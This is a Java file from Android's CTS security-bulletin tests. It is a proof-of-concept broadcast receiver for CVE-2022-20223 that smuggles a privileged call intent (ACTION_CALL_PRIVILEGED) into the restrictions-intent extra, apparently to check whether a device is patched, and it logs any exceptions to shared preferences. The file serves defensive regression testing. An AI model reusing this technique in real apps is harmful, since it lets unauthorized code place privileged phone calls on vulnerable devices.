hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java

/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts.CVE_2022_20223;

import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.Uri;
import android.os.Bundle;

public class PocBroadcastReceiver extends BroadcastReceiver {

    ComponentName getPrivilegeCallDefaultComponent(Context context) {
        Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
        intent.setData(Uri.parse(context.getString(R.string.uriData)));
        return intent.resolveActivity(context.getPackageManager());
    }

    @Override
    public void onReceive(Context context, Intent intent) {
        try {
            Bundle result = new Bundle();
            Intent dialIntent = new Intent();
            dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
            dialIntent.setPackage(context.getPackageName());
            dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
            dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
            result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
            setResultExtras(result);
            return;
        } catch (Exception e) {
            SharedPreferences sh = context.getSharedPreferences(
                    context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
            SharedPreferences.Editor edit = sh.edit();
            edit.putString(context.getString(R.string.messageKey), e.getMessage());
            edit.commit();
        }
    }
}